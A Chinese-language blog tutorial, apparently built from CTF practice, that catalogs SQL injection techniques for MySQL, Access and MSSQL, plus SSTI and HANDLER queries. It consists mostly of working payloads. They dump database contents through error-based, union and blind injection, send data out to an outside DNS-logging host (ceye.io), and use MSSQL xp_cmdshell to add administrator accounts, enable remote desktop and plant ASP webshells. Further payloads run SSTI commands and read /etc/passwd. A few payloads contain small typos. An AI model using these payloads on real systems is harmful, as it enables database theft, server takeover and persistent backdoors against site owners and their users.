SQL隱碼攻擊基礎入門

竹等寒發表於2024-07-08

目錄
  • 前言
  • SQL隱碼攻擊基本操作
    • SQL隱碼攻擊型別分類
      • 數字型
      • 字元型
      • 搜尋型
      • xx型
      • Json型
      • 資料型別提交的方式
      • null
    • SQL隱碼攻擊的位置分類
    • 報錯注入
      • 報錯注入實戰案例
    • SQL隱碼攻擊語句分類
      • insert注入
      • update注入
      • delete注入
    • 編碼
    • Tips:Mysql版本區別
      • information_schema資料庫詳解
    • 其他注入手段
      • 寬位元組注入
        • 寬位元組注入繞過反斜槓防護
      • 偏移量注入
      • 加密注入
      • 堆疊注入
      • 聯合注入
      • 二次注入
      • 中轉註入
      • 偽靜態注入
      • 盲注
        • Bool布林型盲注
        • base on time(時間型注入)
      • DNSlog注入
    • 其他資料庫注入
      • Access資料庫
      • MSSQL資料庫(SqlServer)
        • sa許可權注入
        • dbowner許可權注入
        • public許可權注入
  • SQL隱碼攻擊擴充套件
    • SSTI漏洞
      • 常見SSTI注入payload
      • SSTI tornado render模板注入
    • handler查詢
    • 讀取與寫入
      • Mysql
    • show方式
    • 讀取資料庫使用者密碼
    • 注入讀取常見檔案路徑
      • windows
      • linux

前言

SQL隱碼攻擊是本散修學習過程中和刷CTF題整理的一些心得,現在看來感覺也還是入門,沒有涉及到很多進階的方式,後續有能力的話應該還會繼續寫一些過waf的進階操作。

SQL隱碼攻擊基本操作

  • 原理:其實就是開發人員沒有對提交上來的並且是與資料庫互動的資料進行處理,然後導致拼接語句的時候沒有按照本意的去執行SQL語句。

  • 如何尋找注入點:

    只要是與資料庫打交道的都可以嘗試,比如登入,註冊,留言板,評論區,分頁等等。

  • 注意URL編碼

下面以介紹的各種sql注入都是以mysql的注入方式來介紹,後面介紹其他資料庫就容易很多。

SQL隱碼攻擊型別分類

數字型

數字型就是你輸入的資料是以數字的形式傳到程式碼那邊進行組合SQL語句,如果沒有做任何防護的話可以隨便組合我們需要的語句。

  • select username,email from member where id=1 or 1=1--+;
  • 注入語句:or 1=1--
    意思是透過一個永真條件就會將所有搜尋到的資訊傳遞出來,然後--是註釋符號,避免後面還有什麼拼接的條件語句,其他註釋符號也行,常用是--,最好在後面多加一個空格,url的話就用+號代替空格。

字元型

輸入的資料被當成字元,然後與其程式碼拼接sql語句, 如果沒有做防範就會直接與使用者穿上來的資料拼在一起,道理都是一樣的,但是字元型就有點不同,由於是字元,所以在資料庫中字元也是會有單引號雙引號,一般都是使用單引號的居多,還需測試的人員進行多次嘗試。

  • 網站程式碼中的語句通常是 'select id,email from member where username=$data;'
    $data是一個變數,然後程式碼中使用的是單引號將SQL語句引起來,所以當傳輸資料給data變數的時候將單引號也傳進去的話就會將單引號閉合掉,data資料尾部再加上註釋符號就剛好將後邊的單引號註釋掉就完全閉合了。
  • 注入語句:data=xx' or 1=1--+
    這樣就是一個sql注入語句了,xx是隨便字元的意思,因為有時候可能不允許出現條件為空的字元,隨便輸入一點然後拼接成一個完整的sql語句。

搜尋型

就是模糊查詢,本質都是一樣的,這裡討論mysql,所以我們注入語句使用like,具體按實際的資料使用注入語句,但本質是一樣的。模糊查詢語句原本為:select * from user where like '%xxx%'; %是模糊查詢的符號,所以也可以xxx%或者%xxx,%就代表任意多個字元。

  • 注入語句:
    • xxx%' or 1=1--+ #一般不會是%xxx or 1=1--+,因為模糊查詢中,程式碼一般都帶了%所以你%xxx沒啥用,一般加在後面。xxx%,當然下面的%xxx%也是可以,都說了%是模糊查詢標誌符號,所以我們的多少個都行。
    • %xxx%' or 1=1--+

xx型

說明
這裡我面試了幾個面試官都說不知道,不太清楚是什麼原因,但是我學到的確實有這個型別,那麼各位道友如果我這裡的型別名字有錯誤的話請一定要指出來。

xx型是因為程式碼裡面會是這樣寫的:select * from user where username=('$name');也就是說會加一個括號括起來而已,那我們肯定也是可以應對的,只要我們傳進去的資料能夠將其括號閉合即可

  • 注入語句:
    xx') or 1=1--+

Json型

Json型其實就是上面幾種型別輸入資料換了一種方式而已,就是使用Json的型別將資料傳進去,然後找到引數點後SQL隱碼攻擊姿勢也還是數字型、字元型、搜尋型。


這裡需要抓包進行修改資料,json資料是寫在post資料包裡面的,我們抓包到資料將json資料修改成我們的注入語句即可。

  • json格式:{"id":"123"} #屬性名一定一定!必須使用雙引號,字串資料也是嚴格使用雙引號,不可以是單引號,不能使用十六進位制作為資料,不能使用無定義即undefined
  • 注入語句:{”id“:"123 ' or 1=1--"} # 其他注入型別自己發揮

資料型別提交的方式

  • get

    直接修改url

  • post

    抓包修改資料

  • Cookie

    有的cookie也會和資料庫打交道,在這裡注入有時候也會出現意想不到的收穫。

    但是這需要使用的注入語句是報錯注入方式(報錯注入後面會說),使用通常的sql注入看不出效果,

    一般都是使用:

    ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+

當然還有其他https頭部都可以嘗試

SQL隱碼攻擊的位置分類

只要後臺使用這個資料和資料庫打交道,那麼都可能存在注入點,下面只舉例子http header。

  • Http Header

    解釋:因為有的企業會把user-agent等等請求頭鍵值對也儲存在資料庫裡面,也就說這些也可能會和資料庫打交道,因為可以嘗試在這裡注入,但是請注入選擇的注入一般是報錯注入的方式來進行,因為這種一般都沒有回顯,所以透過報錯的方式將其報出來。

    • 注入語句:(下面語句是可以直接放入user-agent:的後面,即下面是值部分)

      payload Mozilla' or updatexml(1,concat(0x7e,database()),0) or '

      其中database()在mysql資料庫中能夠將當前的資料庫名字以報錯的形式顯示出來,這個報錯語句也是mysql中的,可能其他的資料庫會略有不同,只需要去網上查詢即可,無須特地記憶。database()這個就是可以修改的,你可以修改成select的語句或者其他語句都行,達到你的目的即可,但是要考慮到開發人員可能對某些關鍵詞做了防護。

      database()只是其中的內建函式,mysql還有其他,比如:

      • user() 查詢當前登入資料庫的使用者
      • version() 當前資料庫版本
    • 0x7e是~,只是為了方便顯示的時候看得出來,你也可以用其他符號,但建議使用十六進位制

報錯注入

  • 介紹:
    在MYSQL中使用一些指定的函式來製造報錯,從而從報錯資訊中獲取設定的資訊,常見的select/insert/update/delete注入都可以使用報錯方式來獲取資訊。為什麼要用函式報錯呢,是因為我們上面學到的一些注入測試手段,可能看不到報錯,被遮蔽或者處理了,就不好判斷是否有注入點,所以我們學一下基於函式的報錯。
    但是我按照自己的思路來一般都是先從最簡單的sql注入開始測試,都行不通了才會開始要嘗試報錯注入。
    報錯注入其實就是透過函式的形式,傳入一些不規範的引數讓其報錯,將其錯誤資訊報錯出來,剛好錯誤資訊使我們自己寫的sql語句。
  • 常用的三個報錯函式介紹:
    • updatexml()
      mysql對xml文件資料進行查詢和修改的xpath函式,正好我們寫自己的sql語句即可,不需要理會正確的咋寫。
      但是這裡就偏要介紹他的原本用法:updatexml(xml_document,xpath_string,new_value);作用就是在XML文件物件中,即給出的xml_document物件名稱透過xpath的方式找,找到就用new_value替換
    • extractvalue()
      extractvalue(xml_document,xpath_string),透過xpath方式在xml_document文件物件中查到字串進行返回,這函式比較苛刻,第一個引數一定要符合語法標籤規則。比如<a><b>hello</b></a>,簡而言之就是一定要有閉合標籤,可以是你自己隨便寫的,閉合的一定要和你開頭寫的一樣就行,語法符合即可。
    • floor()
      mysql用來對資料進行取整,學過程式設計應該都懂了。
    • 等等..還有很多函式可以進行報錯注入。
  • updatexml()的注入用法
    updatexml(1,concat(0x7e,(select @@version,0x7e),1)--+
    concat是拼接字串,剛好可以放在update中間的引數,中間引數是xpath_string字串,很顯然我們拼接出來的字串肯定不是xpath,0x7e是~ ,我們自己希望注入的sql語句一定要用括號括起來,因為括號內是先執行的,才會將我們的想要的資訊報錯出來,就是讓報錯要有資訊可報,最後報錯出來的資料是 ~mysql資料庫版本號~
  • extractvalue()的注入用法
    extractvalue(‘<a><b>hello</b></a>’, concat(1,(select @@version),1))--+,第一個引數一定要閉合標籤,隨便標籤都行,同理concat裡面的sql注入語句一定要先括號括起來讓他先執行再報錯。

報錯注入實戰案例

下面的順序也是按照實際獲取到的訊息來拖庫,一點點的拖資訊。

  • 爆資料庫版本資訊:
    x' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

  • 爆資料庫當前使用者:
    x' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

  • 爆資料庫:
    x' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

  • 爆表:
    mysql5.1版本及以上版本,mysql資料庫中會存在一個叫做information_schema的預設資料庫,這個庫裡面記錄著整個mysql管理的資料庫的名稱、表名、列名(欄位名)
    x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)--+,一般都是限制報錯資訊一條而已,所以用limit進行限制。

  • 爆欄位:
    x' and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)--+

  • 爆欄位內容:
    x' and updatexml(1,concat(0x7e,(select passsword from users limit 0,1),0x7e),1)--+,到這裡的時候已經是你完成拖庫了,慢慢的拉去資訊即可,因為你按照上面的步驟的話就是基本上資料庫版本和資料庫名字和表名欄位名都曉得了。

SQL隱碼攻擊語句分類

insert注入

一般會出現在註冊使用者和發表內容,以post的方式提交資料的居多,所以需要抓包來注入payload,找到後其實就和平常的sql注入沒啥區別了。

update注入

一般在已存在的使用者中,需要修改個人資訊或者修改發表的內容中,同insert出現的地方差不多,找到注入點後按照sql注入正常流程來拖庫滲透即可。

delete注入

這個就是出現在評論區居多,且通常以get方式提交資料,因為刪除一般透過id號碼來刪除評論,但具體問題具體分析。

編碼

url編碼:也叫做百分號編碼,url僅僅保留 a-z A-Z 0-9 還有特殊欄位 -_.~ 這四個可以直接出現在url地址上面作為資料。這幾個 !$&'()*+,;= 是作為分隔符不是作為資料在url上出現的,然後剩下的其他都需要進行十六進位制的編碼然後前面加上%號作為url編碼。

Url編碼預設使用的字符集是US-ASCII。例如a在US-ASCII碼中對應的位元組是0x61,那麼Url編碼之後得到的就 是%61,我們在位址列上輸入http://g.cn/search?q=%61%62%63。

常見的url編碼字元:

URL編碼值 字元
%20 空格(+也代表空格)
%22 "
%23 #
%25 %
%26 &;
%27 '
%28 (
%29 )
%2B +
%2C ,
%2F /
%3A :
%3B ;
%3C <
%3D =
%3E >
%3F ?
%4o @
%5C \
%7C I

Tips:Mysql版本區別

mysql5.0以及5.0以上的版本都存在一個系統自帶的系統資料庫,叫做:information_schema,mysql5.0以下沒有information_schema庫,只能透過暴力猜解的方式來獲取資料,information_schema庫裡面包含了很多表,其中這幾張表:schemata、tables、columns,這三張表依次分別存放著欄位:(schema_name-庫名)、(table_name-表名、table_schema-庫名)、(table_schema-庫名、table_name-表名、column_name-欄位名),其次就是5.0以上都是多使用者多操作,5.0以下是多使用者單操作。

在這裡插入圖片描述

information_schema資料庫詳解

安全人員最重要的是要掌握三個表:schemata, tables, columns

tables的列:table_name table_schema   table_schema是所有table_name所屬的不同資料庫名
columns的列:table_schema  table_name column_name   table_schema是所有table_name所屬的不同資料庫名,table_name是所有table_column所屬的不同表名。
schemata的列:就是schema_name  資料庫表裡面自然是資料庫列名schema_name

其他注入手段

寬位元組注入

寬位元組注入方法目前看,僅僅適用於gbk編碼的網站。

引入:有的網站會開啟一些防護手段,防止我們透過url提交資料的時候進行sql注入,比如phpstudy中可以開啟gpc後就會將我們sql注入的單引號'前面加一個\反斜槓,這樣的話就會導致我們sql注入無效,我們的單引號就會被當成字元處理而不是閉合前面的單引號。

寬位元組注入繞過反斜槓防護

既然會在單引號前面加一個反斜槓\,\的url編碼是%5c,也就是十六進位制的0x5c,現在告訴你中文需要兩個十六進位制來組成一個漢字你是否有頭緒了?是的沒錯,寬位元組注入就是透過與%5c能夠結合成一個漢字的十六進位制放進去就會被吃掉,所以我們的%5c就會與那個組成一個漢字,我們原本的sql語句就注入成功了。

舉例:現在直接告訴你%df和%5c能夠組合成一個運字,那麼我們就可以這麼些url:http://xxx/name=xx%df'+or+1=1--,這樣的話在對方伺服器中會在我們寫入的單引號前面加上\,又因為\為%5c,正好和我們前面寫的%df組起來了,在將資料翻譯的時候對方伺服器就會認為我們的%df%5c是運字,然後我們的'單引號又重見天日了得到解放。

在這裡插入圖片描述

偏移量注入

假設我們找到一個注入點,直到了該網站其中一個表名和其欄位數量,可以透過該注入點知道該注入點的表資料。

舉例子:比如已知users表,其中欄位數量為3,但是注入點中使用另一個表資料來查詢,我們的users表比該注入點中的表的欄位數量少就可以完成偏移量注入。假設該注入點的表叫做b表,欄位數量為7個。

下面是實際操作:

  • select * from b where id=$xx;

    xx就是一個注入點,我們可以隨便一個資料的同時附加sql注入:union select *,1,2,3,4 from users

    • 解釋:因為b表有7個欄位數量,然後我們的users表只有三個欄位,聯合查詢會資料庫會報錯,然後加上四個固定數值後能夠補充上去符合7個欄位數量聯合查詢出來就將我們的b表資料查出來了。
      (當然了,假設展示資料的程式碼不是將查到的資料迴圈出來而是隻顯示查詢出來的第一條就須考慮如何寫sql了,因為我們聯合查詢就是猜測程式碼會將我們查到的資料都迴圈列印出來,具體問題具體分析。)

加密注入

在滲透測試過程中發現網站的url上面或者post資料中有==結尾的一般是進行了 base64加密了,所以我們注入的時候可以將sql注入語句進行編碼後加入到資料中去。其他加密方式類似,只是base64舉個例子而已,因為==號一般情況下都是base64,且在現在比較 常用。

堆疊注入

實質就是透過mysql中以;結尾作為一句sql語句,然後我們在注入的時候就可以加上;以表示語句解釋,然後在;後面就可以寫我們自己的任意sql語句了。

  • 限制:堆疊注入的侷限性在於並不是每一個環境下都可以執行,可能受到API或者資料庫引擎不支援的限制,當然了許可權不足也可以解釋為什麼攻擊者無法修改資料或者呼叫一些程式。mysql中有些API是支援的,sqlserver都支援,oracle不支援。

聯合注入

即找到注入點後使用union進行注入,其實這個不算手段只是使用mysql中的聯合查詢進行注入,能夠將很多資訊都拖出來,這個聯合注入其實屬於檢測方法。

  • 獲取某些表的所有列名:

    'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit

    其中table_name=0x7573657273為十六進位制,這個不轉成十六進位制也可以table_name="users"

  • 獲取某表的所有欄位資料:

    ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

    0x7c表示 | 符號,其實就是用過|將所有欄位資料拼接到一起進行顯示

二次注入

這個原理就是往資料庫裡面放入髒資料然後再使用的時候讓髒資料觸發。我們的髒資料會在程式碼中被處理,比如'單引號在進入程式碼取資料拼接的時候會在前面加一個\,但是無傷大雅,因為在存入資料庫的時候會將\除掉,這是因為判斷非法字元的只有程式碼拼接的時候幫你轉義而已,存入資料的時候還是會把你原來的資料存進去。利用這一點我們就可以使用該特點做一些其他事情。比如下面的例子。

舉例:假設我們有一個超級管理員名字叫做admin

  • 註冊的時候註冊一個名字叫admin'#的名字,不管程式碼他是否轉義最終如果可以存進資料庫都會叫這個名字。
  • 註冊成功後去到修改密碼的介面,然後修改密碼提交上去的資料會把你使用者名稱作為條件進行提交上去,因為改的是你自己的密碼,但好巧不巧了,你的使用者名稱中有admin且後面是' #,正好把前面的單引號閉合,且#是註釋符號註釋掉了後面的東西,這時候修改的就是admin的賬號的密碼了,這樣就可以登入admin的賬號 了,你已經修改了他的密碼。
  • 這就是一個簡單的二次注入例子,透過利用髒資料進行修改他人密碼。

中轉註入

本質就是你使用另一臺代理,代理上面有你寫好的轉發程式碼,你主機將payload轉發到代理上面寫好的程式碼中,代理主機的程式碼就會幫你轉發你的payload到目標主機上面,完成的任務其實就是隱藏身份

偽靜態注入

注入方式比較苛刻

詳情推薦看這位博主的部落格:偽靜態注入的總結

盲注

Bool布林型盲注

到了這一步的話最好按部就班的順序進行測試,否則真的盲目注入了,注入沒有效果再一步一步往後進行。

  • 按照注入型別注入(數字、字元、xx...)
  • 報錯注入
  • bool注入判斷真假:
    • select ascii(substr(database(),1,1))>61; 透過對比ascii碼的長度,判斷出資料庫表名的第一個字元。
    • 判斷表名長度為7?:vince' and select length(database())=7#

base on time(時間型注入)

mysql中有一個休眠函式,sleep(秒數),只要我們能夠將sleep注入,透過組合另一個判斷語句就可以知道是否正確,判斷標準就是sleep是否執行了,休眠時間觸發的話會很明顯的就知道。
比如:vince' and if(substr(database(),1,1)='p',sleep(10),null)#表示如果資料庫第一個字元是p的話就會執行sleep語句直接休眠10秒,否則null不執行什麼,這樣我們就透過時間就判斷出來是否資料庫名字第一個字元是否是p了。這就是時間型注入。
如果sleep被防禦了,可以使用benchmark。 benchmark是mysql的內建函式,是將MD5(1)執行10000000次以達到延遲的效果。

DNSlog注入

  • 這種方式比較高階,注入的sql語句要求mysql的配置檔案中開啟了secure_file_priv="",配置檔案中沒有這一項就無法使用DNSlog注入。

  • 具備DNSlog日誌記錄功能的網站A我們不用自己搭建,可以採用如下三個,當然如果你想自己搭建也是可以的:
    http://ceye.io/ #知道創宇公司提供的
    http://www.dnslog.cn/ #Ke學 上網
    http://admin.dnslog.link #這個好像不太好用了

  • 透過mysql的load_file()函式來觸發dns注入,首先load_file能夠載入本地檔案,也能發起url請求,正是能夠發起url請求,所以我們可以將我們申請到的dns日誌記錄網站。(假設申請到的dns日誌網站是:9fqiop.ceye.io/abc)

    • 語句如:select load_file('\\\\xxx.xxx.xxx\\xx');
      其中\\\\xxx.xxx.xxx\\xx是我們搭建或者申請到的dns網址
      可以去專門申請到的dns網站看日誌,有記錄的話就可以正是寫我們所需的sql注入語句了,上面的注入語句沒有做什麼事情。

    • 注入語句:
      下面是為了繞過程式碼才使用concat拼接的,也可以先用正常的select load_file('\\xxx.xxx.xxx\xx')看看有沒有透過服務端的檢查。

      • 獲取庫名: and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
      • 獲取表名:and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9fqiop.ceye.io\\abc')))修改limit後面的數字即可將每個表名都查出來

說明:這裡\\是因為要跳脫字元,所以最終會變成\
那麼我們使用//也是可以,這樣就不用轉義了。

其他資料庫注入

Access資料庫

特性:暴力猜解名字,Access中沒有什麼好辦法

  • 爆表:...and exist(select * from $表名)

  • 爆欄位:...and exist(select $欄位名 from 已知表名)

  • 爆欄位內容的長度
    1、...and (select top 1 len(欄位名) from 表名) > $猜測的長度
    2、order by n 如果n-1時返回正常,n時返回錯誤,那麼說明欄位數目為n

  • 爆欄位資料內容:
    1、...and (select top 1 asc(mid(欄位名,起始位,擷取的位數)) from 表名) > $?
    ($?代表ascii碼,判斷大小可知字母,若判斷到小於0說明是漢字,$字元下標是可變,後面長度一般都是1)
    mid(字串,起始位,擷取的位數)該函式中起始位是從1開始不是從0開始
    例如:
    mid(“abcdef”,2,3)
    結果是bcd
    2、前提是已知了該表的欄位個數,這是透過order by測試出來後才可以用下面的方法
    假設已知我們透過order by測試出來了administrator表有7個欄位
    在這裡插入圖片描述
    注入語句為:...and 1=2 union select 1, 2, 3...., 7 from 表名,上圖所示就是看到2 3 7 5 顯示出來了,表示我們知道該表那些欄位顯示被後端取出來顯示了,那麼在透過已知的欄位名放在對應顯示的數字上面就可以取出來資料了。
    ​ 例如:...and 1=2 union select 1,username,password,4,5,6,7 from 表名,這樣就會在對應的位置上面顯示出來你的欄位名內容。當然也可以放在7和5上面,測試的時候是 2375都顯示了。所以我們這樣就會很簡單的拿到了資料不用一個字母一個字母的取出來。
    在這裡插入圖片描述

  • 若透過注入拿到後臺管理員使用者的賬號密碼

    • 使用7kb或御劍攻擊掃描目錄:有可能會拿到後臺登入頁面,直接用賬號密碼登入即可。

小提示: Access資料庫都是存放在網站目錄下,字尾格式為mdb,asp,asa,可以透過一些暴庫手段、目錄猜解等直接下載資料庫,如果是MSSQL、MYSQL等,一般資料庫是儲存在資料庫安裝路徑下,字尾格式為myi,myd,frm,mdf ,不能透過下載得到庫。除非走狗屎運,對方管理員把網站庫備份在網站目錄下。

MSSQL資料庫(SqlServer)

MS微軟的簡寫,因此是使用SQLServer軟體作為資料庫。

資料庫介紹:

  • 三大許可權:sa, dbowner, public (最高許可權是sa)
  • 可以採用與Access注入的相同原理與方法
  • Mssql預設埠是1433
  • Mssql預設允許遠端連線

sa許可權注入

  • 判斷該網站中是否使用了:

    ...and 1=(select IS _SRVROLEMEMBER('sysadmin')) # 可能這個語句判斷有誤

    若頁面沒有報錯則為sa許可權

  • 介紹xp_cmdshell:

    xp_cmdshell是mssql資料庫的擴充套件儲存功能,這個功能可以直接執行作業系統的指令(ipconfig、pwd等等),預設情況下這個功能是禁用狀態的,所以我們先要看看是否開啟了,但我們需要開啟的時候,我們可以自行開啟,但是這個功能只能是sa這樣的許可權使用者才能開啟,所以前面判斷了是否為sa使用者許可權部署的,dbowner、public等許可權都是不能開啟。

  • 判斷xp_cmdshell儲存過程:

    ...and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')

    若頁面沒有報錯則開啟了,否則就需要我們sql注入的形式進行開啟一下這個功能。

  • 恢復xp_cmdshell:(注意下面是一條語句執行,不是多條)

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

  • 開啟了xp_cmdshell就可以為所欲為了:

    • 新增使用者:

      ;exec master..xp_cmdshell 'net user 使用者名稱 密碼 /add'

    • 自己的使用者新增到管理員組:

      ;exec master..xp_cmdshell 'net localgroup administrators 你建立的使用者名稱 密碼 /add'

    • 開啟3389windows的遠端連線埠:

      已經是管理員組的使用者了,想遠端控制你的電腦,就可以開啟3389埠,預設遠端桌面是關閉的。下面的是透過cmd指令修改登錄檔的一個選項來開啟3389。(注意下面是一條語句,不是多條)

      ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

      完成開啟,直接透過ip地址可以連上目標主機。

    • 其他指令:

      ;exec master..xp_cmdshell '$其他指令在這裡寫'

dbowner許可權注入

!!!!!!!!!!!前提是開啟了xp_cmdshell

注入思路:首先找到可注入的並且有報錯的頁面,需要知道該頁面在對方伺服器裡面的檔名。透過注入來建立一個不重名的表,欄位名自己定義。xp_cmdshell 正常執行 dir /s 該報錯頁面的檔名,就會出現他的路徑(不信你可以用cmd試試),然後將該資訊insert到我們自己建立的table中,那這樣我們又可以透過組合sql注入和報錯的形式,將我們存進去的路徑資訊透過我們自己建立的表資訊報錯出來,有了該路徑,就可以往存放該錯誤頁面路徑的目錄下面使用xp_cmdshell執行建立webshell的檔案,然後就可以控制目標伺服器了。

  • 判斷是否為dbowner許可權

    and 1=(SELECT IS_MEMBER('db_owner'));-- # 同理可能會判斷錯誤

  • 尋找可sql注入且有報錯資訊返回的頁面(目的是將報錯資訊插入到我們自己建立的表)

    這裡的報錯資訊

    透過7kb、穿山甲來找,或者可以透過高階搜尋的方式搜尋該頁面的其他有報錯的頁面

  • 在目標伺服器上建立一個表

    create table black result varchar(7996) null, id int not null identity (1,1)--

  • 透過報錯資訊插入到我們自己建立的表中

    insert into black exec master..xp_cmdshell 'dir /s 該頁面的檔名'--

  • 透過查詢我們儲存的資訊,然後將路徑報錯出來,因為查到的資訊肯定有,但是故意讓他報錯,將我們查到的資訊報出來(這個方法很巧妙,值得細細品味)

    and (select result from black where id=4)>0-- #首先查出來的資料是字串和0比較肯定錯誤,所以就會將我們查到的資訊報錯出來。那這個資訊就是我們需要的當前訪問的頁面的url下的目錄了,我們就可以透過xp_cmdshell建立webshell。

  • 透過xp_cmdshell建立檔案到我們上面報錯出來的路徑中去,該檔案寫上一句話木馬,然後就可以在該網址下連線我們的webshell了

    ;exec master..xp_cmdshell 'echo "<%eval request("jaden")%>" >> 報錯的路徑\你的木馬檔名'--

  • 該許可權還可以進行資料庫備份(當然sa肯定可以,只是sa都直接連上主機了那就不用這個了)

    當然也是需要知道目錄資訊,不然你備份好了也不知道去哪取出來。

    ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='c:\www\iisaspx\yjh.asp';alter database testdb set RECOVERY simple
    在這裡插入圖片描述

public許可權注入

  • 獲取當前網站資料庫名稱

    and db_name()=0--

    • 獲取所有資料庫名:

      and 1=(select db_name()) --+

      and 1=(select db_name(1)) --+

      and 1=(select db_name(2)) --+

      ...

  • 獲取當前資料庫所有表名(當然前提是你知道了當前資料庫名)

    and (select top 1 name from 當前資料庫.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top i name from 當前資料庫.sys.all_objects where type='U' AND is_ms_shipped=0))>0--

    //修改i的值來檢視

  • 獲取表名和欄位名

    • having 1=1--

      這個不用加and直接空格having接上就行,例如:http://.........?xx=1 having 1=1--

      下面兩個也是一樣不用加and寫法和這個一樣。

    • group by 表名.已知欄位名 having 1=1--

      這個是在第一個指令下已知了一個欄位了才能用該指令,這樣又一個欄位名出來了

    • group by 表名.欄位名1,表名.欄位名2 having 1=1--

      這個就很清楚了,就是找第三個欄位,因為已知了兩個欄位

  • 獲取欄位內容(不建議使用,很麻煩)

    舉一個例子,但是裡面的變數需要自己找找,換一下。
    (這裡用了一些繞過waf的手段,比如註釋干擾/**/和編碼繞過)
    /**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32)%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id)%3E0/**/and/**/1=1

當然如果拿到了public最好還是使用工具。

SQL隱碼攻擊擴充套件

SSTI漏洞

SSTI(Server-Side Template Injection) 服務端模板注入,服務端接收了使用者的輸入,將其作為 Web 應用模板內容的一部分。

透過模板,Web應用可以把輸入轉換成特定的HTML格式。在進行目標編譯渲染的過程中,若使用者插入了相關惡意內容,結果可能導致了敏感資訊洩露、程式碼執行、GetShell 等問題。

python語言開發的網站,比如response的server像這樣:

在這裡插入圖片描述
那麼就可以使用SSTI漏洞注入

常見SSTI注入payload

1、獲取’‘的類物件:''.__class__
2、追溯繼承樹:''.__class__.__mro__
3、可以看到object已經出來了,然後繼續向下查詢object的子類:''.__class__.__mro__[2].__subclasses__()
4、找到可執行命令或者讀檔案的方法,找到第40個為<type> 'file',執行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

payload構造繼承鏈的思路是
1)隨便找一個內建類物件用class拿到他所對應的類
2)用bases拿到基類

常用payload
python3
- 檔案讀取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令執行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2
- 檔案讀取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 檔案讀取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 檔案讀取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 寫檔案:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令執行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令執行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
 

python2、python3共有的,且可命令執行的payload:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

SSTI tornado render模板注入

使用tornado的伺服器就是使用python語言進行編寫的。所以可以採用ssti注入方式。

在這裡插入圖片描述

tornado render是python中的一個渲染函式,也就是一種模板,透過呼叫的引數不同,生成不同的網頁,如果使用者對render內容可控,不僅可以注入XSS程式碼,而且還可以透過{{}}進行傳遞變數和執行簡單的表示式。
{{handler.settings}}

還有幾種獲取config的方式
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

效果如下:
在這裡插入圖片描述

handler查詢

handler 可以在 select 被過濾後有效的進行sql注入。

下面是官方給出的查詢方法(瞭解即可):

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

!!!注意:as alias是起別名的意思,你起完別名後,後面的語句都是使用你這個別名來構造語句!!!


下面是常用的讀取方法:

  • 第一種:直接透過表名讀取列的資料。

    原理就是將對應的table進行open後,即對應這條指令:index_name

    開始讀取,透過first、next、prev、last進行偏移,這裡的偏移是從你open之後開始的,所以我們讀取完需要有一個close的操作

    讀取完就close:handler table_name close;

    handler table_name open [[as] alias];
    handler table_name read [first | next | prev | last];
    handler table_name close;
    
  • 第二種:透過索引表讀取。

    原理是透過你建立好的索引表進行讀取資料,也是open之後像指標一樣進行偏移。

    handler table_name open [[as] alias];
    handler table_name read index_name [first | next | prev | last];
    handler table_name close;
    
  • 第三種:透過索引表但是指定下標開始讀取。(可以範圍讀取)

    原理其實也是透過索引表讀取,但是這裡可以透過指定索引表第幾行資料讀取出來,或者某個範圍內讀取出來。

    handler table_name open [[as] alias];
    handler table_name read index_name = (id);  //id就是第幾行
